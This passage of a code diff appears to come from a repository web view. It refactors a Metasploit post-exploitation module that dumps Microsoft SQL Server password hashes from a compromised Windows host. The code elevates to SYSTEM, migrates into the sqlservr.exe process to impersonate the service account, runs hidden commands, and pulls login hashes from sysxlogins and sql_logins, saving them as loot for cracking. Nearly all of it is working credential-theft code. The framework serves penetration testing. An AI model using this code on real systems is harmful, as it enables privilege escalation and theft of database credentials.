get_sql_hash(sql_client,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
else
|
|
||||||
print_error("Could not obtain LocalSystem privileges")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# return to original priv context
|
# return to original priv context
|
||||||
session.sys.config.revert_to_self
|
session.sys.config.revert_to_self
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_sql_version(instance_name)
|
||||||
|
vprint_status("Attempting to get version...")
|
||||||
|
|
||||||
## ----------------------------------------------
|
query = mssql_sql_info
|
||||||
## Method to check if the SQL Server service is running
|
|
||||||
## ----------------------------------------------
|
|
||||||
def check_for_sqlserver(instance)
|
|
||||||
|
|
||||||
print_status("Checking for SQL Server...")
|
get_version_result = run_sql(query, instance_name)
|
||||||
|
|
||||||
# Get Data
|
|
||||||
running_services = run_cmd("net start")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
services_array = running_services.split("\n")
|
|
||||||
|
|
||||||
# Check for the SQL Server service
|
|
||||||
services_array.each do |service|
|
|
||||||
if instance == "" then
|
|
||||||
# Target default instance
|
|
||||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
|
||||||
|
|
||||||
# Display results
|
|
||||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
|
||||||
print_status("SQL Server instance found: #{service_instance}")
|
|
||||||
return service_instance
|
|
||||||
end
|
|
||||||
else
|
|
||||||
|
|
||||||
# Target user defined instance
|
|
||||||
if service =~ /#{instance}/ then
|
|
||||||
|
|
||||||
# Display user defined instance
|
|
||||||
print_status("SQL Server instance found: #{instance}")
|
|
||||||
return instance
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fail
|
|
||||||
if instance == "" then
|
|
||||||
print_error("SQL Server instance NOT found")
|
|
||||||
else
|
|
||||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
|
||||||
end
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for identifying which SQL client to use
|
|
||||||
## ----------------------------------------------
|
|
||||||
def get_sql_client
|
|
||||||
|
|
||||||
print_status("Checking for native client...")
|
|
||||||
|
|
||||||
# Get Data - osql
|
|
||||||
running_services1 = run_cmd("osql -?")
|
|
||||||
|
|
||||||
# Parse Data - osql
|
|
||||||
services_array1 = running_services1.split("\n")
|
|
||||||
|
|
||||||
# Check for osql
|
|
||||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
|
||||||
print_status("OSQL client was found")
|
|
||||||
return "osql"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get Data - sqlcmd
|
|
||||||
running_services = run_cmd("sqlcmd -?")
|
|
||||||
|
|
||||||
# Parse Data - sqlcmd
|
|
||||||
services_array = running_services.split("\n")
|
|
||||||
|
|
||||||
# Check for SQLCMD
|
|
||||||
services_array.each do |service|
|
|
||||||
if service =~ /SQL Server Command Line Tool/ then
|
|
||||||
print_status("SQLCMD client was found")
|
|
||||||
return "sqlcmd"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fail
|
|
||||||
print_error("No native SQL client was found")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for getting SQL Version
|
|
||||||
## ----------------------------------------------
|
|
||||||
def get_sql_version(sqlclient,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to get version...")
|
|
||||||
|
|
||||||
mssql_version_query = "SELECT @@version"
|
|
||||||
|
|
||||||
# Setup command format to accomidate version inconsistencies
|
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "MSSQLSERVER" then
|
|
||||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
|
||||||
end
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
get_version_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
# Parse Data
|
||||||
get_version_array = get_version_result.split("\n")
|
get_version_array = get_version_result.split("\n")
|
||||||
version_year = get_version_array[0].strip.slice(/\d\d\d\d/)
|
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
|
||||||
if version_year
|
if version_year
|
||||||
print_status("MSSQL version found: #{version_year}")
|
vprint_status("MSSQL version found: #{version_year}")
|
||||||
return version_year
|
return version_year
|
||||||
else
|
else
|
||||||
print_error("MSSQL version not found")
|
vprint_error("MSSQL version not found")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
## ----------------------------------------------
|
def get_sql_hash(instance_name)
|
||||||
## Method for getting password hashes
|
version_year = get_sql_version(instance_name)
|
||||||
## ----------------------------------------------
|
|
||||||
def get_sql_hash(sqlclient,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
version_year = get_sql_version(sqlclient,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
case version_year
|
case version_year
|
||||||
when "2000"
|
when "2000"
|
||||||
hashtype = "mssql"
|
hash_type = "mssql"
|
||||||
mssql_password_hashes_query = "SELECT name+':'+master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins"
|
query = mssql_2k_password_hashes
|
||||||
when "2005", "2008"
|
when "2005", "2008"
|
||||||
hashtype = "mssql05"
|
hash_type = "mssql05"
|
||||||
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins"
|
query = mssql_2k5_password_hashes
|
||||||
when "2012", "2014"
|
when "2012", "2014"
|
||||||
hashtype = "mssql12"
|
hash_type = "mssql12"
|
||||||
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins"
|
query = mssql_2k5_password_hashes
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Attempting to get password hashes...")
|
print_status("Attempting to get password hashes...")
|
||||||
|
|
||||||
# Setup command format to accomidate version inconsistencies
|
get_hash_result = run_sql(query, instance_name)
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
if get_hash_result.include?('0x')
|
||||||
if service_instance == "MSSQLSERVER" then
|
# Parse Data
|
||||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
hash_array = get_hash_result.split("\r\n").grep(/0x/)
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
|
||||||
else
|
store_hashes(hash_array, hash_type)
|
||||||
# User defined instance
|
|
||||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
# User defined instance
|
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
|
||||||
print_status(" o defined instance: #{instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# Display debugging information
|
def store_hashes(hash_array, hash_type)
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
get_hash_result = run_cmd("#{sqlcommand}")
|
|
||||||
#print_good("Raw Result: \n#{get_hash_result}")
|
|
||||||
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
get_hash_array = get_hash_result.split("\n").grep(/:/)
|
|
||||||
|
|
||||||
# Save data
|
# Save data
|
||||||
loot_hashes = ""
|
loot_hashes = ""
|
||||||
get_hash_array.each do |row|
|
hash_array.each do |row|
|
||||||
user = row.strip.split(":")[0]
|
user, hash = row.strip.split
|
||||||
hash = row.strip.split(":")[1]
|
|
||||||
|
|
||||||
service_data = {
|
service_data = {
|
||||||
address: ::Rex::Socket.getaddress(rhost,true),
|
address: rhost,
|
||||||
port: rport,
|
port: rport,
|
||||||
service_name: 'mssql',
|
service_name: 'mssql',
|
||||||
protocol: 'tcp',
|
protocol: 'tcp',
|
||||||
workspace_id: myworkspace_id
|
workspace_id: myworkspace_id
|
||||||
}
|
}
|
||||||
|
|
||||||
# Initialize Metasploit::Credential::Core object
|
# Initialize Metasploit::Credential::Core object
|
||||||
|
@ -286,7 +137,7 @@ class Metasploit3 < Msf::Post
|
||||||
private_data: hash,
|
private_data: hash,
|
||||||
username: user,
|
username: user,
|
||||||
session_id: session_db_id,
|
session_id: session_db_id,
|
||||||
jtr_format: hashtype,
|
jtr_format: hash_type,
|
||||||
workspace_id: myworkspace_id
|
workspace_id: myworkspace_id
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -303,127 +154,20 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
# Merge in the service data and create our Login
|
# Merge in the service data and create our Login
|
||||||
login_data.merge!(service_data)
|
login_data.merge!(service_data)
|
||||||
login = create_credential_login(login_data)
|
create_credential_login(login_data)
|
||||||
|
|
||||||
print_good("#{rhost} Saving = #{user}:#{hash}")
|
print_line("#{user}:#{hash}")
|
||||||
|
|
||||||
loot_hashes << user+":"+hash+"\n"
|
loot_hashes << "#{user}:#{hash}\n"
|
||||||
|
|
||||||
end
|
end
|
||||||
if loot_hashes != ""
|
|
||||||
|
unless loot_hashes.empty?
|
||||||
# Store MSSQL password hash as loot
|
# Store MSSQL password hash as loot
|
||||||
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
|
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
|
||||||
print_good("MSSQL password hash saved in: #{loot_path}")
|
print_good("MSSQL password hash saved in: #{loot_path}")
|
||||||
return 1
|
return true
|
||||||
else
|
else
|
||||||
return 0
|
return false
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for executing cmd and returning the response
|
|
||||||
## Note: This is from one of Jabra's modules - Thanks man!
|
|
||||||
##----------------------------------------------
|
|
||||||
def run_cmd(cmd,token=true)
|
|
||||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
|
||||||
process = session.sys.process.execute(cmd, nil, opts)
|
|
||||||
res = ""
|
|
||||||
while (d = process.channel.read)
|
|
||||||
break if d == ""
|
|
||||||
res << d
|
|
||||||
end
|
|
||||||
process.channel.close
|
|
||||||
process.close
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for impersonating sql server instance
|
|
||||||
## Taken from mssql_local_auth_bypass
|
|
||||||
## Thanks Scott Sutherland !
|
|
||||||
## ----------------------------------------------
|
|
||||||
def impersonate_sql_user(service_instance,verbose)
|
|
||||||
|
|
||||||
# Print the current user
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
|
|
||||||
# Define target user/pid
|
|
||||||
targetuser = ""
|
|
||||||
targetpid = ""
|
|
||||||
|
|
||||||
# Identify SQL Server service processes
|
|
||||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
|
||||||
session.sys.process.get_processes().each do |x|
|
|
||||||
|
|
||||||
# Search for all sqlservr.exe processes
|
|
||||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
|
||||||
|
|
||||||
# Found one
|
|
||||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
|
||||||
|
|
||||||
# Define target pid / user
|
|
||||||
if x['user'] =~ /NT SERVICE/ then
|
|
||||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
|
||||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
else
|
|
||||||
targetuser = x['user']
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Attempt to migrate to target sqlservr.exe process
|
|
||||||
if targetuser == "" then
|
|
||||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
|
||||||
return 0
|
|
||||||
else
|
|
||||||
begin
|
|
||||||
# Migrating works, but I can't rev2self after its complete
|
|
||||||
print_status("Attempting to migrate to process #{targetpid}...")
|
|
||||||
session.core.migrate(targetpid.to_i)
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
|
||||||
return 1
|
|
||||||
rescue
|
|
||||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method to become SYSTEM if required
|
|
||||||
## Note: This is from one of Jabra's modules.
|
|
||||||
## ----------------------------------------------
|
|
||||||
def givemesystem
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
print_status("Checking if user is SYSTEM...")
|
|
||||||
|
|
||||||
# Check if user is system
|
|
||||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
|
||||||
print_status("User is SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
# Attempt to get LocalSystem privileges
|
|
||||||
print_error("User is NOT SYSTEM")
|
|
||||||
print_status("Attempting to get SYSTEM privileges...")
|
|
||||||
system_status = session.priv.getsystem
|
|
||||||
if system_status[0]
|
|
||||||
print_good("Success!, user is now SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
print_error("Unable to obtained SYSTEM privileges")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue